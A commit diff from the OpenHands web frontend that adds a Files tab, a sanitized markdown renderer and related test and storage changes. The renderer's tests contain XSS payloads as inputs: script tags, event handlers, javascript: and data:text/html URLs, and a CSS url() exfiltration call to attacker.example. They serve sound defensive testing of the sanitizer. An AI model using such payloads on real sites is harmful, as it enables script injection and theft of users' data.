Skip to content

🙌 OpenHands: AI-Driven Development

feat(files-tab): Files tab with diff + rich/plain file viewer, safe-HTML markdown (#284)

Robert Brennan7ea79e0a3952
diff --git a/AGENTS.md b/AGENTS.md
index 1c76350631..020a92629c 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -197,3 +197,5 @@
- Changes tab / `FileDiffViewer` deleted-file note: the agent-server's `/api/git/diff` endpoint calls `path.exists()` first (see `openhands-sdk/openhands/sdk/git/git_diff.py` → `get_git_diff`), so requesting a diff for a `D` (deleted) file returns `GitPathError` → HTTP 400 and trips the global QueryCache error toast. `useUnifiedGitDiff` disables the query when `type === "D"` and `FileDiffViewer` renders a localized "file deleted" placeholder (`DIFF_VIEWER$FILE_DELETED`, `data-testid="file-deleted-message"`) instead of the view-mode toolbar / Monaco editor for that case.
- Onboarding modal: `src/components/features/onboarding/onboarding-modal.tsx` is a 4-step welcome flow rendered by `<OnboardingHost />` (mounted on the home route) and gated by the `openhands-onboarded` localStorage flag (`use-onboarding-completion.ts`). The four steps live under `steps/`: choose-agent (Step 0 – OpenHands selectable, Claude Code & Codex disabled with a "coming soon" note), check-backend (embeds the new `BackendForm` extracted from `backend-form-modal.tsx` plus a colored connection banner driven by `useBackendsHealth`), setup-llm (renders `<LlmSettingsScreen onSaveSuccess={onNext} />` so the existing settings UI keeps owning validation), and say-hello (text input pre-filled from `ONBOARDING$HELLO_DEFAULT_MESSAGE`, launches a no-workspace conversation via `useCreateConversation` and closes the modal). Animation: all four panels are mounted as siblings inside a horizontal rail; advancing/retreating just sets `currentStep`, which translates the rail by `-(step * 100)%` for the slide effect. Progress is rendered by `OnboardingProgressBar` with `data-state` per segment (`completed` | `current` | `upcoming`). When extending, refactor `BackendFormModal` carefully — the inner `BackendForm` is the public surface used both by the modal and by `CheckBackendStep`; the modal version still owns dirty/save tracking so it keeps "Save"/"Cancel" footer behavior.
+
+- Worktree policy (this conversation): commits are made on the worktree branch and the user expects the worktree to stay attached to that branch. Do NOT run `git switch --detach` in the worktree and reattach the branch to the main workspace after each commit — only do that when the user explicitly asks. See `~/.openhands/skills/worktree-switch/SKILL.md` for the manual procedure the user invokes.
diff --git a/__tests__/components/features/conversation/conversation-tab-content.test.tsx b/__tests__/components/features/conversation/conversation-tab-content.test.tsx
index 56327a938b..fbd407ecbd 100644
--- a/__tests__/components/features/conversation/conversation-tab-content.test.tsx
+++ b/__tests__/components/features/conversation/conversation-tab-content.test.tsx
@@ -19,8 +19,8 @@ vi.mock("#/hooks/use-conversation-id", () => ({
// Mock lazy-loaded components
-vi.mock("#/routes/changes-tab", () => ({
- default: () => <div data-testid="editor-tab-content">Editor Tab Content</div>,
+vi.mock("#/routes/files-tab", () => ({
+ default: () => <div data-testid="files-tab-content">Files Tab Content</div>,
}));
// Control for lazy loading test
@@ -34,12 +34,6 @@ vi.mock("#/routes/browser-tab", () => ({
},
}));
-vi.mock("#/routes/served-tab", () => ({
- default: () => (
- <div data-testid="served-tab-content">Served Tab Content</div>
- ),
-}));
-
vi.mock("#/routes/vscode-tab", () => ({
default: () => (
<div data-testid="vscode-tab-content">VSCode Tab Content</div>
@@ -89,7 +83,7 @@ describe("ConversationTabContent", () => {
},
});
// Reset store state
- useConversationStore.setState({ selectedTab: "editor" });
+ useConversationStore.setState({ selectedTab: "files" });
// Reset conversation ID
mockConversationId = "test-conversation-id-123";
});
@@ -100,23 +94,23 @@ describe("ConversationTabContent", () => {
});
describe("Rendering", () => {
- it("should render editor tab content by default", async () => {
- setSelectedTab("editor");
+ it("should render files tab content by default", async () => {
+ setSelectedTab("files");
render(<ConversationTabContent />, { wrapper: createWrapper() });
await waitFor(() => {
- expect(screen.getByTestId("editor-tab-content")).toBeInTheDocument();
+ expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
});
});
- it("should render editor tab when selectedTab is null", async () => {
+ it("should render files tab when selectedTab is null", async () => {
setSelectedTab(null);
render(<ConversationTabContent />, { wrapper: createWrapper() });
await waitFor(() => {
- expect(screen.getByTestId("editor-tab-content")).toBeInTheDocument();
+ expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
});
});
});
@@ -132,16 +126,6 @@ describe("ConversationTabContent", () => {
});
});
- it("should render served tab when selected", async () => {
- setSelectedTab("served");
-
- render(<ConversationTabContent />, { wrapper: createWrapper() });
-
- await waitFor(() => {
- expect(screen.getByTestId("served-tab-content")).toBeInTheDocument();
- });
- });
-
it("should render vscode tab when selected", async () => {
setSelectedTab("vscode");
@@ -273,15 +257,15 @@ describe("ConversationTabContent", () => {
describe("Tab state persistence", () => {
it("should render content based on store state", async () => {
- // First render with editor tab
- setSelectedTab("editor");
+ // First render with files tab
+ setSelectedTab("files");
const { rerender } = render(<ConversationTabContent />, {
wrapper: createWrapper(),
});
await waitFor(() => {
- expect(screen.getByTestId("editor-tab-content")).toBeInTheDocument();
+ expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
});
// Change the store state
@@ -298,13 +282,13 @@ describe("ConversationTabContent", () => {
describe("Suspense boundary", () => {
it("should wrap tab content in Suspense boundary", async () => {
- setSelectedTab("editor");
+ setSelectedTab("files");
render(<ConversationTabContent />, { wrapper: createWrapper() });
// The component should render without throwing
await waitFor(() => {
- expect(screen.getByTestId("editor-tab-content")).toBeInTheDocument();
+ expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
});
});
});
diff --git a/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx b/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx
index bad786abd4..ba81187f0b 100644
--- a/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx
+++ b/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx
@@ -40,7 +40,7 @@ describe("ConversationTabsContextMenu", () => {
__resetActiveStoreForTests();
mockHasTaskList = false;
useConversationStore.setState({
- selectedTab: "editor",
+ selectedTab: "files",
isRightPanelShown: true,
hasRightPanelToggled: true,
});
@@ -60,9 +60,8 @@ describe("ConversationTabsContextMenu", () => {
// Default active backend is local, so the Code (vscode) entry is hidden.
const expectedTabs = [
"COMMON$PLANNER",
- "COMMON$CHANGES",
+ "COMMON$FILES",
"COMMON$TERMINAL",
- "COMMON$APP",
"COMMON$BROWSER",
];
for (const tab of expectedTabs) {
@@ -118,7 +117,7 @@ describe("ConversationTabsContextMenu", () => {
render(<ConversationTabsContextMenu isOpen={true} onClose={vi.fn()} />);
- await user.click(screen.getByText("COMMON$CHANGES"));
+ await user.click(screen.getByText("COMMON$FILES"));
const storeState = useConversationStore.getState();
expect(storeState.hasRightPanelToggled).toBe(false);
diff --git a/__tests__/components/features/conversation/conversation-tabs.test.tsx b/__tests__/components/features/conversation/conversation-tabs.test.tsx
index 92c5dd5b07..98bd98f951 100644
--- a/__tests__/components/features/conversation/conversation-tabs.test.tsx
+++ b/__tests__/components/features/conversation/conversation-tabs.test.tsx
@@ -53,15 +53,16 @@ vi.mock("#/hooks/use-agent-state", () => ({
useAgentState: () => ({ curAgentState: mockCurAgentState }),
}));
-const createWrapper = (conversationId: string) => {
- return ({ children }: { children: React.ReactNode }) => (
- <MemoryRouter initialEntries={[`/conversations/${conversationId}`]}>
- <QueryClientProvider client={new QueryClient()}>
- <ActiveBackendProvider>{children}</ActiveBackendProvider>
- </QueryClientProvider>
- </MemoryRouter>
- );
-};
+const createWrapper = (conversationId: string) =>
+ function ({ children }: { children: React.ReactNode }) {
+ return (
+ <MemoryRouter initialEntries={[`/conversations/${conversationId}`]}>
+ <QueryClientProvider client={new QueryClient()}>
+ <ActiveBackendProvider>{children}</ActiveBackendProvider>
+ </QueryClientProvider>
+ </MemoryRouter>
+ );
+ };
const seedConversationState = (
conversationId: string,
@@ -70,7 +71,7 @@ const seedConversationState = (
localStorage.setItem(
`conversation-state-${conversationId}`,
JSON.stringify({
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
@@ -90,7 +91,7 @@ function seedActiveBackend(backend: Backend): void {
__resetActiveStoreForTests();
}
-const setActiveTabState = (tab: "editor" | "planner") => {
+const setActiveTabState = (tab: "files" | "planner") => {
seedConversationState(REAL_CONVERSATION_ID, {
selectedTab: tab,
rightPanelShown: true,
@@ -142,7 +143,7 @@ describe("ConversationTabs localStorage behavior", () => {
wrapper: createWrapper(REAL_CONVERSATION_ID),
});
- const changesTab = screen.getByTestId("conversation-tab-editor");
+ const changesTab = screen.getByTestId("conversation-tab-files");
await user.click(changesTab);
const consolidatedKey = `conversation-state-${REAL_CONVERSATION_ID}`;
@@ -194,7 +195,7 @@ describe("ConversationTabs localStorage behavior", () => {
// Arrange: Panel is open with editor tab selected
useConversationStore.setState({
- selectedTab: "editor",
+ selectedTab: "files",
isRightPanelShown: true,
hasRightPanelToggled: true,
});
@@ -204,7 +205,7 @@ describe("ConversationTabs localStorage behavior", () => {
});
// Act: Click the editor tab again
- const editorTab = screen.getByTestId("conversation-tab-editor");
+ const editorTab = screen.getByTestId("conversation-tab-files");
await user.click(editorTab);
// Assert: Panel should be closed
@@ -223,7 +224,7 @@ describe("ConversationTabs localStorage behavior", () => {
// Arrange: Panel is open with editor tab selected
useConversationStore.setState({
- selectedTab: "editor",
+ selectedTab: "files",
isRightPanelShown: true,
hasRightPanelToggled: true,
});
@@ -253,29 +254,63 @@ describe("ConversationTabs localStorage behavior", () => {
mockConversationId = REAL_CONVERSATION_ID;
});
- it("shows the refresh button for the active editor tab and refetches changes", async () => {
- const user = userEvent.setup();
- setActiveTabState("editor");
+ it("no longer renders the refresh button in the top tab bar (it now lives inside the Files tab toolbar)", () => {
+ setActiveTabState("files");
render(<ConversationTabs />, {
wrapper: createWrapper(REAL_CONVERSATION_ID),
});
- const refreshButton = document.querySelector(
- 'button[aria-label="COMMON$CHANGES"]',
+ // The old conversation-tabs refresh button used aria-label "COMMON$FILES"
+ // on a top-bar <button>. Our `conversation-tab-files` button uses a
+ // different DOM shape, so any <button> matching that aria-label here
+ // would be the legacy refresh button.
+ const buttons = Array.from(
+ document.querySelectorAll('button[aria-label="COMMON$FILES"]'),
);
- expect(refreshButton).toBeInTheDocument();
- if (!refreshButton) {
- throw new Error("Expected refresh button to be rendered");
- }
+ // The only remaining match should be the tab nav itself (a button with
+ // data-testid conversation-tab-files), if anything. There must be no
+ // standalone refresh button.
+ const refreshButtons = buttons.filter(
+ (b) => b.getAttribute("data-testid") !== "conversation-tab-files",
+ );
+ expect(refreshButtons).toHaveLength(0);
+ });
- await user.click(refreshButton);
+ it("places the Files tab leftmost in the tab bar", () => {
+ setActiveTabState("files");
- expect(mockRefetchGitChanges).toHaveBeenCalledTimes(1);
+ render(<ConversationTabs />, {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ const tabs = Array.from(
+ document.querySelectorAll('[data-testid^="conversation-tab-"]'),
+ );
+ const testIds = tabs.map((t) => t.getAttribute("data-testid"));
+ // Files must be the first tab rendered in the bar.
+ expect(testIds[0]).toBe("conversation-tab-files");
+ });
+
+ it("keeps Files leftmost even when the task list tab is present", () => {
+ setActiveTabState("files");
+ mockHasTaskList = true;
+
+ render(<ConversationTabs />, {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ const tabs = Array.from(
+ document.querySelectorAll('[data-testid^="conversation-tab-"]'),
+ );
+ const testIds = tabs.map((t) => t.getAttribute("data-testid"));
+ expect(testIds[0]).toBe("conversation-tab-files");
+ // Task list should still be visible, just not first.
+ expect(testIds).toContain("conversation-tab-tasklist");
});
it("does not show the build button when the planner tab is inactive", () => {
- setActiveTabState("editor");
+ setActiveTabState("files");
useConversationStore.setState({
planContent: "# Plan content",
});
@@ -391,9 +426,7 @@ describe("ConversationTabs localStorage behavior", () => {
});
// Assert
- expect(
- screen.getByTestId("conversation-tab-vscode"),
- ).toBeInTheDocument();
+ expect(screen.getByTestId("conversation-tab-vscode")).toBeInTheDocument();
});
});
diff --git a/__tests__/components/features/markdown/markdown-renderer.test.tsx b/__tests__/components/features/markdown/markdown-renderer.test.tsx
new file mode 100644
index 0000000000..c59e3f510b
--- /dev/null
+++ b/__tests__/components/features/markdown/markdown-renderer.test.tsx
@@ -0,0 +1,251 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { sanitize } from "hast-util-sanitize";
+import type { Element, Root } from "hast";
+
+import {
+ MarkdownRenderer,
+ MARKDOWN_SANITIZE_SCHEMA,
+} from "#/components/features/markdown/markdown-renderer";
+
+describe("MarkdownRenderer", () => {
+ it("renders GFM tables (a GFM-only feature)", () => {
+ const md = [
+ "| Col A | Col B |",
+ "| ----- | ----- |",
+ "| 1 | 2 |",
+ ].join("\n");
+
+ const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+
+ const table = container.querySelector("table");
+ expect(table).not.toBeNull();
+ expect(container.querySelectorAll("th")).toHaveLength(2);
+ expect(container.querySelectorAll("td")).toHaveLength(2);
+ });
+
+ it("renders GFM strikethrough", () => {
+ const { container } = render(
+ <MarkdownRenderer>{"~~struck~~ word"}</MarkdownRenderer>,
+ );
+ expect(container.querySelector("del")).not.toBeNull();
+ expect(screen.getByText("struck").tagName.toLowerCase()).toBe("del");
+ });
+
+ it("renders GFM task list checkboxes", () => {
+ const md = ["- [x] done", "- [ ] todo"].join("\n");
+ const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+ const checkboxes = container.querySelectorAll('input[type="checkbox"]');
+ expect(checkboxes).toHaveLength(2);
+ expect((checkboxes[0] as HTMLInputElement).checked).toBe(true);
+ expect((checkboxes[1] as HTMLInputElement).checked).toBe(false);
+ });
+
+ it("renders inline HTML embedded in markdown", () => {
+ const md = "Hello <mark>world</mark> and <kbd>Ctrl+C</kbd>";
+ const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+ expect(container.querySelector("mark")?.textContent).toBe("world");
+ expect(container.querySelector("kbd")?.textContent).toBe("Ctrl+C");
+ });
+
+ it("renders <details>/<summary> for collapsible sections", () => {
+ const md = [
+ "<details>",
+ "<summary>Show more</summary>",
+ "",
+ "Hidden content",
+ "</details>",
+ ].join("\n");
+ const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+ expect(container.querySelector("details")).not.toBeNull();
+ expect(container.querySelector("summary")?.textContent).toBe("Show more");
+ });
+
+ it("strips <script> tags via rehype-sanitize", () => {
+ const md = 'Hello<script>window.__pwn = true;</script> world';
+ const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+ expect(container.querySelector("script")).toBeNull();
+ // The text content surrounding the script must still be there.
+ expect(container.textContent).toContain("Hello");
+ expect(container.textContent).toContain("world");
+ });
+
+ it("strips inline event handlers (onclick, etc.) via rehype-sanitize", () => {
+ const md = '<button onclick="window.__pwn=true">Click me</button>';
+ const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+ const button = container.querySelector("button");
+ // The element itself may pass through (it's a normal HTML button) but
+ // the onclick attribute must be gone.
+ if (button) {
+ expect(button.getAttribute("onclick")).toBeNull();
+ }
+ });
+
+ it("strips javascript: URLs in anchor hrefs", () => {
+ // Use raw HTML so we test the sanitizer end-to-end (markdown's own
+ // link syntax escapes this differently).
+ const md = '<a href="javascript:alert(1)">click</a>';
+ const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+ const anchor = container.querySelector("a");
+ // Two acceptable sanitize outcomes:
+ // (1) the anchor is stripped entirely → `anchor === null`,
+ // (2) the anchor survives but its dangerous href was dropped.
+ // What's NOT acceptable is keeping the javascript: URL. Assert
+ // explicitly in both branches so we never accidentally pass on a
+ // sanitizer that smuggles the link through unmodified by removing
+ // the surrounding wrapper (in which case the `if (anchor)` check
+ // would short-circuit silently).
+ if (anchor === null) {
+ // Sanitizer dropped the anchor entirely — verifiably safe.
+ expect(anchor).toBeNull();
+ } else {
+ expect(anchor.getAttribute("href") ?? "").not.toMatch(/^javascript:/i);
+ }
+ });
+
+ it("does not honor `style` attributes (CSS-injection class of attacks)", () => {
+ // CSS can be a side channel for data exfiltration
+ // (`background-image: url("https://attacker.example/?cookie=…")`) or
+ // for clickjacking/UI redress (`position: fixed; top: 0; …`). Our
+ // schema deliberately omits `style` from the allowed attribute list
+ // so the sanitizer drops it.
+ const md =
+ '<div style="background:url(\'https://attacker.example/exfil\')">x</div>';
+ const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+ const div = container.querySelector("div");
+ expect(div).not.toBeNull();
+ // The style attribute must be gone (or at minimum not contain the
+ // attacker URL).
+ expect(div?.getAttribute("style") ?? "").not.toMatch(
+ /attacker\.example/i,
+ );
+ expect(div?.getAttribute("style")).toBeNull();
+ });
+
+ it("blocks data:text/html URLs in img src", () => {
+ // `data:` covers arbitrary mime types, not just images — allowing
+ // it on `<img src>` would let an authored doc round-trip an HTML
+ // document with no schema validation. Our protocol allow-list for
+ // src is restricted to http(s).
+ const md = '<img src="data:text/html,<script>alert(1)</script>" alt="x">';
+ const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+ const img = container.querySelector("img");
+ // The sanitizer may either drop src entirely or drop the whole tag —
+ // either way the data:text/html URL must not survive.
+ expect(img?.getAttribute("src") ?? "").not.toMatch(/^data:/i);
+ });
+
+ it("strips other inline event handlers (onerror, onload, onmouseover)", () => {
+ const cases = [
+ '<img src="https://example.com/x.png" onerror="window.__pwn=1">',
+ '<div onmouseover="window.__pwn=1">hover</div>',
+ '<a href="https://example.com" onfocus="window.__pwn=1">link</a>',
+ ];
+ for (const md of cases) {
+ const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+ // Whichever tag survived must not carry an on* handler attribute.
+ const element = container.querySelector("img, div, a");
+ if (element) {
+ for (const attr of element.getAttributeNames()) {
+ expect(attr.toLowerCase()).not.toMatch(/^on/);
+ }
+ }
+ }
+ });
+
+ it("keeps http(s) and mailto: URLs intact", () => {
+ const md =
+ "[external](https://example.com) and [mail](mailto:[email protected])";
+ const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+ const anchors = container.querySelectorAll("a");
+ const hrefs = Array.from(anchors).map((a) => a.getAttribute("href"));
+ expect(hrefs).toContain("https://example.com");
+ expect(hrefs).toContain("mailto:[email protected]");
+ });
+
+ it("drops <iframe> tags (not in the allow-list)", () => {
+ const md = '<iframe src="https://evil.example.com"></iframe>';
+ const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+ expect(container.querySelector("iframe")).toBeNull();
+ });
+
+ it("strips raw HTML when allowHtml=false", () => {
+ const md = "Hello <mark>world</mark>";
+ const { container } = render(
+ <MarkdownRenderer allowHtml={false}>{md}</MarkdownRenderer>,
+ );
+ // <mark> should not be parsed; the text should still appear.
+ expect(container.querySelector("mark")).toBeNull();
+ expect(container.textContent).toContain("world");
+ });
+});
+
+// Direct tests against MARKDOWN_SANITIZE_SCHEMA. End-to-end
+// MarkdownRenderer tests can't reach these because our custom `anchor`
+// component always hard-codes target/rel — so even a buggy schema (one
+// that strips `rel` from HAST) would still produce a safe-looking final
+// `<a>`. We run `hast-util-sanitize` directly on hand-built HAST trees
+// to assert what the schema does and doesn't pass through.
+describe("MARKDOWN_SANITIZE_SCHEMA", () => {
+ function makeAnchor(properties: Record<string, unknown>): Root {
+ return {
+ type: "root",
+ children: [
+ {
+ type: "element",
+ tagName: "a",
+ properties,
+ children: [{ type: "text", value: "link" }],
+ } as Element,
+ ],
+ };
+ }
+
+ function firstAnchor(tree: Root): Element | null {
+ const node = tree.children[0];
+ return node && node.type === "element" ? (node as Element) : null;
+ }
+
+ it("preserves space-separated rel values on raw HTML anchors (regression for fc208bc)", () => {
+ // The old schema used `["rel", "noopener", "noreferrer", "nofollow"]`,
+ // which is rehype-sanitize's "exact match against allowed values"
+ // form — it would reject `rel="noopener noreferrer"` (the canonical
+ // safe-link incantation) because the *combined* string isn't in the
+ // allowed-values list. With the fix this test must pass: rel is
+ // preserved verbatim.
+ const tree = sanitize(
+ makeAnchor({
+ href: "https://example.com",
+ target: "_blank",
+ rel: "noopener noreferrer",
+ }),
+ MARKDOWN_SANITIZE_SCHEMA,
+ ) as Root;
+
+ const a = firstAnchor(tree);
+ expect(a).not.toBeNull();
+ // hast-util-sanitize stores `rel` as an array of tokens; reassemble.
+ const relProp = a?.properties?.rel;
+ const rel = Array.isArray(relProp) ? relProp.join(" ") : relProp;
+ expect(rel).toBe("noopener noreferrer");
+ expect(a?.properties?.target).toBe("_blank");
+ expect(a?.properties?.href).toBe("https://example.com");
+ });
+
+ it("preserves rel even when it carries unusual but-safe tokens like `nofollow ugc`", () => {
+ // `rel` keywords never execute code or navigate, so allowing any
+ // value is safe. This locks that property in.
+ const tree = sanitize(
+ makeAnchor({
+ href: "https://example.com",
+ rel: "nofollow ugc",
+ }),
+ MARKDOWN_SANITIZE_SCHEMA,
+ ) as Root;
+
+ const a = firstAnchor(tree);
+ const relProp = a?.properties?.rel;
+ const rel = Array.isArray(relProp) ? relProp.join(" ") : relProp;
+ expect(rel).toBe("nofollow ugc");
+ });
+});
diff --git a/__tests__/conversation-local-storage.test.ts b/__tests__/conversation-local-storage.test.ts
index 33e9e12a7e..9b285d3da8 100644
--- a/__tests__/conversation-local-storage.test.ts
+++ b/__tests__/conversation-local-storage.test.ts
@@ -29,7 +29,7 @@ describe("conversation localStorage utilities", () => {
const state = getConversationState("task-uuid-123");
expect(state.conversationMode).toBe("code");
- expect(state.selectedTab).toBe("editor");
+ expect(state.selectedTab).toBe("files");
expect(state.rightPanelShown).toBe(true);
expect(
localStorage.getItem(
@@ -115,7 +115,7 @@ describe("conversation localStorage utilities", () => {
const state = getConversationState(conversationId);
expect(state.subConversationTaskId).toBeNull();
- expect(state.selectedTab).toBe("editor");
+ expect(state.selectedTab).toBe("files");
expect(state.rightPanelShown).toBe(true);
expect(state.unpinnedTabs).toEqual([]);
});
@@ -154,10 +154,56 @@ describe("conversation localStorage utilities", () => {
const state = getConversationState(conversationId);
expect(state.subConversationTaskId).toBe("task-123");
- expect(state.selectedTab).toBe("editor");
+ expect(state.selectedTab).toBe("files");
expect(state.rightPanelShown).toBe(true);
expect(state.unpinnedTabs).toEqual([]);
});
+
+ it("falls back to the default tab when stored selectedTab is no longer valid", () => {
+ const conversationId = "conv-123";
+ const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`;
+
+ // Persisted from a previous app version where "editor" was a tab.
+ localStorage.setItem(
+ consolidatedKey,
+ JSON.stringify({
+ selectedTab: "editor",
+ rightPanelShown: true,
+ unpinnedTabs: [],
+ }),
+ );
+
+ const state = getConversationState(conversationId);
+
+ expect(state.selectedTab).toBe("files");
+ });
+
+ it("filters obsolete tabs out of stored unpinnedTabs (changes / editor / served / app)", () => {
+ // Returning users may have unpinned the now-removed Changes,
+ // Editor, Served, or App tabs in a previous version. Those names
+ // should not survive the read — otherwise they linger forever in
+ // localStorage since the UI has no way to surface them again to be
+ // re-pinned. We cover ALL four removed names here (the previous
+ // version of this test missed `app` and the gap let a denylist-vs-
+ // whitelist regression slip through review).
+ const conversationId = "conv-123";
+ const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`;
+
+ localStorage.setItem(
+ consolidatedKey,
+ JSON.stringify({
+ selectedTab: "files",
+ rightPanelShown: true,
+ unpinnedTabs: ["editor", "changes", "served", "app", "terminal"],
+ }),
+ );
+
+ const state = getConversationState(conversationId);
+
+ // Only the still-valid `terminal` entry survives; all four
+ // obsolete names are dropped.
+ expect(state.unpinnedTabs).toEqual(["terminal"]);
+ });
});
describe("setConversationState", () => {
@@ -185,7 +231,7 @@ describe("conversation localStorage utilities", () => {
localStorage.setItem(
consolidatedKey,
JSON.stringify({
- selectedTab: "changes",
+ selectedTab: "browser",
rightPanelShown: false,
unpinnedTabs: ["tab-1"],
subConversationTaskId: "old-task-id",
@@ -201,7 +247,7 @@ describe("conversation localStorage utilities", () => {
const parsed = JSON.parse(stored!);
expect(parsed.subConversationTaskId).toBe("new-task-id");
- expect(parsed.selectedTab).toBe("changes");
+ expect(parsed.selectedTab).toBe("browser");
expect(parsed.rightPanelShown).toBe(false);
expect(parsed.unpinnedTabs).toEqual(["tab-1"]);
});
@@ -456,4 +502,110 @@ describe("conversation localStorage utilities", () => {
});
});
});
+
+ describe("filesTabDiffView persistence", () => {
+ // The diff-view toggle is per-conversation: in a git repo it
+ // defaults to ON, in a plain workspace it defaults to OFF, but the
+ // user's last explicit choice should win. Verify the boolean
+ // round-trips through localStorage and that the unset case stays
+ // `null` (so the higher layer can apply the repo-aware default).
+
+ it("defaults to null when nothing is stored", () => {
+ const state = getConversationState("files-diff-conv-1");
+ expect(state.filesTabDiffView).toBeNull();
+ });
+
+ it("round-trips `true` through localStorage", () => {
+ const conversationId = "files-diff-conv-2";
+ setConversationState(conversationId, { filesTabDiffView: true });
+
+ const state = getConversationState(conversationId);
+ expect(state.filesTabDiffView).toBe(true);
+
+ // Also verify the on-disk shape — important because the consumer
+ // code reads it back via `JSON.parse`, so a wrong-type value would
+ // be a silent regression.
+ const raw = localStorage.getItem(
+ `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`,
+ );
+ expect(raw).not.toBeNull();
+ expect(JSON.parse(raw as string).filesTabDiffView).toBe(true);
+ });
+
+ it("round-trips `false` through localStorage", () => {
+ const conversationId = "files-diff-conv-3";
+ setConversationState(conversationId, { filesTabDiffView: false });
+
+ const state = getConversationState(conversationId);
+ expect(state.filesTabDiffView).toBe(false);
+ });
+
+ it("is isolated per conversation", () => {
+ setConversationState("files-diff-convA", { filesTabDiffView: true });
+ setConversationState("files-diff-convB", { filesTabDiffView: false });
+
+ expect(
+ getConversationState("files-diff-convA").filesTabDiffView,
+ ).toBe(true);
+ expect(
+ getConversationState("files-diff-convB").filesTabDiffView,
+ ).toBe(false);
+ });
+ });
+
+ describe("filesTabContentViewMode persistence", () => {
+ // The rich/plain toggle for the file content viewer also persists
+ // per conversation. Default is "rich" — verified explicitly here so
+ // a careless change to the default field initializer doesn't slip
+ // through unnoticed (it would flip every existing user from rich to
+ // plain after deploy).
+
+ it("defaults to 'rich' when nothing is stored", () => {
+ const state = getConversationState("files-view-conv-1");
+ expect(state.filesTabContentViewMode).toBe("rich");
+ });
+
+ it("round-trips 'plain' through localStorage", () => {
+ const conversationId = "files-view-conv-2";
+ setConversationState(conversationId, {
+ filesTabContentViewMode: "plain",
+ });
+
+ expect(
+ getConversationState(conversationId).filesTabContentViewMode,
+ ).toBe("plain");
+
+ const raw = localStorage.getItem(
+ `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`,
+ );
+ expect(JSON.parse(raw as string).filesTabContentViewMode).toBe("plain");
+ });
+
+ it("round-trips 'rich' through localStorage (explicit save, not default)", () => {
+ const conversationId = "files-view-conv-3";
+ setConversationState(conversationId, {
+ filesTabContentViewMode: "rich",
+ });
+
+ expect(
+ getConversationState(conversationId).filesTabContentViewMode,
+ ).toBe("rich");
+ });
+
+ it("is isolated per conversation", () => {
+ setConversationState("files-view-convA", {
+ filesTabContentViewMode: "plain",
+ });
+ setConversationState("files-view-convB", {
+ filesTabContentViewMode: "rich",
+ });
+
+ expect(
+ getConversationState("files-view-convA").filesTabContentViewMode,
+ ).toBe("plain");
+ expect(
+ getConversationState("files-view-convB").filesTabContentViewMode,
+ ).toBe("rich");
+ });
+ });
});
diff --git a/__tests__/hooks/query/use-workspace-session.test.tsx b/__tests__/hooks/query/use-workspace-session.test.tsx
new file mode 100644
index 0000000000..88dae68702
--- /dev/null
+++ b/__tests__/hooks/query/use-workspace-session.test.tsx
@@ -0,0 +1,193 @@
+import React from "react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import {
+ joinWorkspaceUrl,
+ useWorkspaceSession,
+} from "#/hooks/query/use-workspace-session";
+
+// We mock the workspace factory rather than the lower-level HttpClient:
+// that's where our wiring contract lives (we hand the typescript-client a
+// conversation id and trust it to do the right POST + return a base URL).
+const startWorkspaceSessionMock = vi.fn();
+const createRemoteWorkspaceMock = vi.fn();
+
+vi.mock("#/api/typescript-client", async (importOriginal) => {
+ const real = await importOriginal<typeof import("#/api/typescript-client")>();
+ return {
+ ...real,
+ createRemoteWorkspace: (...args: unknown[]) => {
+ createRemoteWorkspaceMock(...args);
+ return {
+ startWorkspaceSession: startWorkspaceSessionMock,
+ };
+ },
+ };
+});
+
+const useActiveConversationMock = vi.fn();
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => useActiveConversationMock(),
+}));
+
+const useRuntimeIsReadyMock = vi.fn();
+vi.mock("#/hooks/use-runtime-is-ready", () => ({
+ useRuntimeIsReady: () => useRuntimeIsReadyMock(),
+}));
+
+function makeWrapper() {
+ const client = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ const Wrapper = function WorkspaceSessionTestWrapper({
+ children,
+ }: {
+ children: React.ReactNode;
+ }) {
+ return (
+ <QueryClientProvider client={client}>{children}</QueryClientProvider>
+ );
+ };
+ return Wrapper;
+}
+
+// Yields back to the event loop a few microtasks deep so react-query has a
+// chance to schedule (and, in the negative-path tests, to NOT schedule) the
+// query. ESLint forbids returning the timer id from `new Promise(...)`, so
+// we wrap setTimeout in a void callback.
+function flushScheduler(ms = 10): Promise<void> {
+ return new Promise((resolve) => {
+ setTimeout(resolve, ms);
+ });
+}
+
+beforeEach(() => {
+ startWorkspaceSessionMock.mockReset();
+ createRemoteWorkspaceMock.mockReset();
+ useActiveConversationMock.mockReset();
